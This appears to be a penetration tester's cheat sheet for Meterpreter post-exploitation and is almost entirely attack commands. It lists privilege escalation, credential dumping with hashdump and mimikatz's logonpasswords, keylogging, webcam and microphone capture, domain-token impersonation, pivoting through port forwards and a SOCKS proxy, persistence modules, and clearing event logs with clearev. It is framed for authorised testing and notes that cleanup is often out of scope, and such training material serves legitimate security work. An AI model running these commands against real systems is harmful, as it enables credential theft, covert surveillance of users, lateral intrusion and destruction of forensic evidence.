A meterpreter session is a foothold, not a win. Post-ex is where you prove impact — dump credentials, migrate for stability, pivot into inaccessible subnets, and gather the loot the report will be built around.
Meterpreter Core Commands
Once you drop into a session with sessions -i <id>:
sysinfo # OS, arch, computer name, domain
getuid # effective user
getpid # current PID
ps # process list
pwd / cd / ls / cat # filesystem nav
upload /local/path C:\\remote # push files to target
download C:\\remote /local # pull files back
edit C:\\remote\\file.txt # open in local editor
search -f *.kdbx # find files by name
Meterpreter lives in RAM — nothing hits disk by default. That’s what makes it stealthy compared to dropping a cmd shell or raw binary.
Identity and Privileges
getuid # who am i
getsystem # try several local priv-esc techniques
getprivs # list token privileges
rev2self # drop back to original token
getsystem tries four techniques in order (named pipe impersonation, token duplication, etc.). If it fails, move on to kernel exploits via local_exploit_suggester.
Credential Dumping
hashdump # NT/LM hashes from SAM (needs SYSTEM)
load kiwi # load mimikatz extension
kiwi_cmd "sekurlsa::logonpasswords"
creds_all # dump everything kiwi can see
lsa_dump_sam
lsa_dump_secrets
On Linux meterpreter:
run post/linux/gather/hashdump
run post/linux/gather/enum_configs
run post/linux/gather/enum_system
hashdump requires SYSTEM on Windows — run getsystem first. If that fails, migrate into a SYSTEM-owned process (lsass.exe, services.exe).
Migrate — Stability
ps # find a target process
migrate 1234 # by PID
migrate -N explorer.exe # by name
Migrate for two reasons:
- Stability — the exploited process (e.g. a crashed service) may die soon. Explorer.exe is long-lived.
- Context — migrating into a process owned by a different user inherits that user’s token. Migrating into a SYSTEM process after
getsystemlocks in SYSTEM.
Architecture matters
A 32-bit meterpreter can’t migrate into a 64-bit process and vice versa. Check
sysinfooutput — if the target is x64 but your meterpreter is x86, re-generate withwindows/x64/meterpreter/....
Screenshots, Keylogging, Webcam
screenshot # saves .jpeg locally
screenshare # stream
keyscan_start # start keylogger
keyscan_dump # read captured keys
keyscan_stop
webcam_list
webcam_snap
webcam_stream
record_mic -d 10 # record audio
Keylogging works best from a user-owned explorer.exe — migrate -N explorer.exe first.
Dropping to Shell
shell # drop into cmd.exe / sh
exit # back to meterpreter
execute -f cmd.exe -i -H # interactive, hidden window
execute -f powershell.exe -i -H -a "-enc <base64>"
shell is useful when you need the full OS command set. Everything else happens better from meterpreter itself.
Load — Meterpreter Extensions
load kiwi # mimikatz
load incognito # token impersonation
load powershell # run PS cmdlets natively
load python # run python
load espia # screenshot/image grabber
load lanattacks # DHCP spoofing
load pulls the extension into the current meterpreter session. The commands it adds are session-local.
Incognito — Token Impersonation
load incognito
list_tokens -u # list user tokens
impersonate_token "DOMAIN\\user"
rev2self
If a domain admin logged into the box and their process is still running, their token is on the system. Impersonate it → you are them for network auth purposes (SMB, WinRM, etc).
Pivoting
Autoroute
run post/multi/manage/autoroute SUBNET=10.10.11.0 NETMASK=255.255.255.0
# or
run autoroute -s 10.10.11.0/24
Routes MSF modules through the session. Now use auxiliary/scanner/portscan/tcp can hit the internal subnet.
Port Forwarding
portfwd add -l 3389 -p 3389 -r 10.10.11.50 # local 3389 → remote 10.10.11.50:3389
portfwd add -l 8080 -p 80 -r 10.10.11.50
portfwd list
portfwd delete -l 3389 -p 3389 -r 10.10.11.50
portfwd flush
Now rdesktop 127.0.0.1:3389 from your box hits the internal host.
SOCKS Proxy
# From msf6 >
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j
Point proxychains at 127.0.0.1:1080 and run any tool through the tunnel.
Post Modules
Post modules run in the context of an existing session. They do enumeration, priv-esc suggestions, and loot collection without leaving the comfort of MSF.
# Priv-esc candidates
run post/multi/recon/local_exploit_suggester
# Windows enumeration
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/credentials/credential_collector
run post/windows/gather/checkvm
run post/windows/manage/migrate
# Linux enumeration
run post/linux/gather/enum_system
run post/linux/gather/enum_configs
run post/linux/gather/checkvm
# Hash dumping
run post/windows/gather/hashdump
run post/windows/gather/smart_hashdump
# Persistence (noisy — scope dependent)
run post/windows/manage/persistence_exelocal_exploit_suggester is the fastest way to find a kernel exploit that works against the current session’s OS.
Cleaning Up
clearev # clear Application, System, Security event logs
rm C:\\path\\to\\file
Scope before cleanup
clearevand file deletion can be destructive and are usually out of scope for authorized tests. Confirm explicitly before running.
Housekeeping
background # Ctrl+Z — drop to msfconsole, session stays live
exit # kill the session
Backgrounded sessions survive until the target closes them (reboot, process death, network drop) or you explicitly kill them with sessions -k.
